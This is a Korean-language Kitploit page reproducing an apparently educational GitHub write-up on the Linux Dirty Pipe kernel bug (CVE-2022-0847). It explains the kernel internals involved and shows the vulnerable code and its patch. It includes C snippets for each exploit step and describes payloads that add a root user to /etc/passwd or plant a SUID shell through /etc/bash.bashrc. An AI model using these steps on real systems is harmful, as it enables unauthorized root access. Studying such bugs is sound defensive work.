Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — CVE-2022-0847 악용 - 작성자: Antonius (w1sdom) | Kitploit
도구/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

CVE-2022-0847 악용 - 작성자: Antonius (w1sdom)

저장소 보기
3117개월 전아직 검토되지 않음

리눅스 커널 Dirty Pipe 익스플로잇 (로직 버그)


by: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe (CVE-2022-0847)는 Max Kellermann이 2022년에 발견한 리눅스 커널 5.8 ~ 5.15.24에서 가장 중요한 보안 취약점 중 하나입니다. 이 취약점은 일반 사용자(특별한 권한 없이)가 읽기 전용이어야 하는 파일의 데이터를 덮어쓸 수 있게 합니다. 핵심 개념 이해하기

Dirty Pipe를 자세히 논의하기 전에, 이해해야 할 리눅스 커널 내부 개념은 다음과 같습니다.

1. 페이징(Paging)
페이징은 리눅스 커널의 메모리 관리 메커니즘으로, 메모리 시스템이 물리 메모리를 페이지 프레임(page frame)이라는 고정 크기의 작은 블록으로 나누고, 가상 메모리는 페이지(page)라는 같은 크기의 블록으로 나누는 방식입니다. 이 메커니즘을 통해 커널은 프로세스의 가상 주소 공간을 물리 메모리에 비순차적으로 매핑할 수 있으며, 이는 현대 시스템의 효율성과 보안에 매우 중요합니다.

2. 페이지 (가상 메모리)
리눅스에서 페이지는 커널이 처리하는 물리 메모리 관리의 가장 작은 단위입니다. 비유: RAM은 거대한 책과 같습니다. 페이지는 그 책의 한 장입니다. 커널은 데이터를 비트 단위로 옮기지 않고, 장(페이지) 단위로 옮깁니다. 일반적으로 현대 시스템 아키텍처(예: x86_64)에서 한 페이지의 표준 크기는 4KB(4096바이트)입니다.

3. 페이지 캐시(Page Cache)
이 부분이 매우 중요합니다. 리눅스는 매번 디스크에서 직접 파일을 읽지 않습니다. 느리기 때문입니다. 커널은 파일 내용을 RAM에 복사하는데, 이를 페이지 캐시(Page Cache)라고 합니다.

  • 파일을 읽을 때 커널은 파일을 페이지 캐시에 로드합니다.
  • 다른 프로세스가 같은 파일을 읽으려면 커널은 해당 메모리에 이미 존재하는 페이지에 대한 참조만 제공합니다.
페이지 캐시는 커널 공간에 있습니다.

4. 파이프 버퍼(Pipe Buffer)
파이프는 프로세스 간 통신(IPC) 메커니즘입니다. 내부적으로 커널은 pipe_inode_info 데이터 구조를 사용하여 파이프를 관리합니다. 파이프 내부의 데이터는 파이프 버퍼(Pipe Buffer)라는 "버퍼"에 저장됩니다.

  • 링 버퍼(Ring Buffer): 커널은 이 버퍼를 관리하기 위해 원형(링) 구조를 사용합니다. 링 버퍼는 고정 크기의 단일 배열을 사용하여 끝이 다시 시작 부분에 연결된 것처럼 동작하는 데이터 구조입니다. 이는 데이터 흐름이 끝없이 "회전"하게 만듭니다.
  • 플래그(Flags): 각 버퍼에는 동작을 결정하는 속성 또는 "플래그"가 있습니다(예: 버퍼 병합 가능 여부).
파이프 버퍼는 커널 공간에 있습니다.

5. 파이프 버퍼 플래그 (PIPE_BUF_FLAG_CAN_MERGE)
PIPE_BUF_FLAG_CAN_MERGE 플래그는 리눅스 커널 5.8에서 도입되었습니다. 이것이 주요 취약점이 있는 곳입니다. PIPE_BUF_FLAG_CAN_MERGE라는 플래그입니다.

  • 기능: 커널에게 파이프에 기록된 새 데이터가 기존 버퍼에 병합될 수 있음을 알립니다.
  • 문제점: Dirty Pipe 수정 전에는 커널이 splice()를 수행할 때 이 플래그를 제대로 지우지(재설정하지) 않았습니다.

6. Splice
splice()는 두 파일 디스크립터 간에 데이터를 커널 공간과 사용자 공간 간에 복사하지 않고 이동시키는 시스템 콜입니다. 이는 종종 제로카피(Zero-copy) 메커니즘이라고 합니다. splice() 시스템 콜은 Dirty Pipe의 "주역"입니다:

  • splice()는 데이터를 물리적으로 복사하는 대신, 파이프 버퍼가 페이지 캐시의 페이지를 직접 가리키도록 하는 최적화를 수행합니다.
  • 즉, 파이프는 파일 데이터의 복사본이 아니라 파일의 물리적 메모리에 대한 "포인터"만 포함합니다.

7. 쓰기 시 복사 (Copy on Write, CoW)
쓰기 시 복사(CoW) 메커니즘은 리눅스 커널이 데이터 복사가 절대적으로 필요할 때까지 지연시키는 메모리 관리 최적화 전략입니다. 쓰기 시 복사(CoW)와 Dirty Pipe 익스플로잇(CVE-2022-0847)의 관계는 리눅스 커널의 작은 버그가 CoW 메커니즘을 성공적으로 "속여" 읽기 전용이어야 할 파일에 데이터를 쓸 수 있게 하는 방법에 관한 것입니다.

8. 더티 페이지(Dirty Page)
더티 페이지는 애플리케이션에 의해 수정되었지만 변경 사항이 아직 보조 저장 장치(예: SSD 또는 하드 디스크)에 기록되지 않은 RAM의 메모리 페이지입니다.

Dirty Pipe 취약점 분석

Dirty Pipe는 리눅스 커널 5.8부터 리눅스 커널 5.15.24까지의 파이프 버퍼 처리에서 발생하는 로직 버그 유형입니다. 주요 문제는 파이프 메커니즘(프로세스 간 통신 채널)과 커널이 페이지 캐시(디스크의 파일 데이터 복사본을 저장하는 메모리)를 관리하는 방식에 있습니다. 핵심 문제는 PIPE_BUF_FLAG_CAN_MERGE 플래그의 버그입니다.

주요 문제는 커널이 이 플래그를 제대로 다시 초기화하지 못한 데 있습니다(로직 버그). 다음은 코드 분석입니다: 리눅스 커널 5.16.11 이전 버전의 copy_page_to_iter_pipe 및 push_to_pipe 함수에서 splice 작업을 수행할 때, 커널은 pipe_buffer 구조를 준비하지만 .flags 멤버를 정리하는 것을 잊어버립니다.

취약한 코드 구조:

root@kitploit:~
// 문제 위치: fs/pipe.c 또는 include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- 이 플래그가 재설정되지 않음
    unsigned long private;
};

패치 이전 코드 (취약):

root@kitploit:~
// lib/iov_iter.c - CVE-2022-0847 패치 이전
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// 문제: buf->flags가 전혀 건드려지지 않음
// --------snip----------------------

}

패치 이후 코드 (수정됨):

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- 완전히 0으로 재설정

왜 buf->flags = 0이 특정 플래그만 끄는 것보다 나은가요? pipe_buffer는 재사용되는 구조이기 때문입니다. 특정 플래그(CAN_MERGE)만 끄면 이전 파이프 사용에서 남은 다른 쓰레기 플래그(예: PIPE_BUF_FLAG_GIFT 또는 기타 사용자 정의 플래그)가 남아 있어 향후 이상한 동작이나 새로운 보안 허점을 유발할 수 있습니다. 0으로 설정하면 버퍼가 완전히 "깨끗한" 상태가 됩니다.

왜 악용 가능한가?
Dirty Pipe 익스플로잇 흐름은 다음과 같습니다:
1. 오염 단계: 공격자가 write()를 통해 파이프에 데이터를 삽입합니다. 일반적인 write() 작업은 buf->flags = PIPE_BUF_FLAG_CAN_MERGE를 설정합니다.
2. 배출 단계: 공격자가 해당 데이터를 읽습니다. 버퍼는 논리적으로 "비어" 있지만, 해당 구조는 여전히 커널 메모리에 존재하며 CAN_MERGE 플래그가 여전히 활성화되어 있습니다.
3. Splice 단계: splice() 시스템 콜이 읽기 전용 파일을 파이프에 매핑할 때 copy_page_to_iter_pipe() 함수가 호출됩니다. 위의 버그로 인해 buf->page는 원본 파일의 메모리 페이지로 채워지지만 buf->flags는 재설정되지 않습니다.
4. 실행: 커널은 이 파일 버퍼가 여전히 병합 가능하다고 생각합니다. 파이프에 대한 다음 write()는 새 버퍼를 생성하지 않고, 이전에 매핑된 메모리 페이지(페이지 캐시)를 직접 수정하게 됩니다.

이 단계에서 공격자의 데이터는 이미 RAM에 저장됩니다. 내용이 디스크와 다른 RAM의 페이지를 "더티 페이지(Dirty Page)"라고 합니다. 이 단계가 성공적으로 도달하면 익스플로잇이 성공한 것입니다! 페이지 캐시가 변경되면 효과는 즉각적입니다. RAM에서 /etc/passwd를 덮어쓰면 즉시 su root를 실행할 수 있습니다.

Dirty Pipe 익스플로잇

Dirty Pipe 익스플로잇을 위해 우리는 어떤 커널 보호 기능도 비활성화할 필요가 없습니다. 모든 커널 보호 기능은 이 로직 버그를 방지하는 데 관련이 없기 때문입니다. 더티 페이지 로직 버그를 악용하기 위해 우리의 익스플로잇은 다음 단계를 수행합니다:

1단계: 파이프를 준비하고 PIPE_BUF_FLAG_CAN_MERGE 플래그를 트리거하기 위해 파이프를 가득 채웁니다.

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

2단계: 파이프를 비웁니다.

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
3단계: splice()를 사용하여 대상 파일의 데이터를 파이프에 삽입합니다.
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
4단계: 페이로드 데이터를 파이프에 씁니다.
root@kitploit:~
write(p[1], payload, strlen(payload));

Dirty Pipe 익스플로잇을 위한 전체 익스플로잇 코드 전체 익스플로잇 코드는 https://github.com/bluedragonsecurity/dirtypipe2에서 확인할 수 있습니다.

참고: 전체 익스플로잇 코드에는 커널 버전 확인, 파이프 준비, 페이로드 주입 기능과 /etc/passwd 및 /etc/bash.bashrc를 대상으로 하는 두 가지 다른 익스플로잇 방법이 포함되어 있습니다.

익스플로잇 방법

위의 익스플로잇은 2개의 다른 페이로드를 사용하며, 첫 번째 페이로드가 실패하면 두 번째 페이로드가 연결되도록 설계되었습니다.
페이로드 1: /etc/passwd에 uid 0의 'toor'라는 새 사용자를 추가하기 위해 씁니다. 이 페이로드가 성공하면 즉시 루트 셸을 얻을 수 있습니다.
페이로드 2: /tmp/x에 SUID bash 셸을 드롭하는 것을 목표로 합니다. 특히 두 번째 페이로드는 시스템의 루트 사용자가 로그인할 때까지 기다려야 합니다. SUID 셸을 드롭하는 페이로드가 /etc/bash.bashrc에 주입되기 때문입니다. 리눅스에서 /etc/bash.bashrc에 포함된 명령은 시스템에 로그인하는 모든 사용자가 로그인할 때 실행됩니다.

익스플로잇 테스트

이 예제에서는 VirtualBox에서 게스트 OS로 Lubuntu 20.04.5에서 실행되는 리눅스 커널 5.13을 사용했으며, 호스트 OS는 Kali Linux 2025.4입니다. Lubuntu 20.04.5 머신에서 익스플로잇을 컴파일합니다:

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

익스플로잇 실행:
root@kitploit:~
  ./dirtypipe2

마지막으로 루트 셸을 얻었습니다:

참고 자료

  • 원본 공개: https://dirtypipe.cm4all.com/
  • CVE-2022-0847: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• 리눅스 커널 패치: commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • 익스플로잇 코드: https://github.com/bluedragonsecurity
도구 다운로드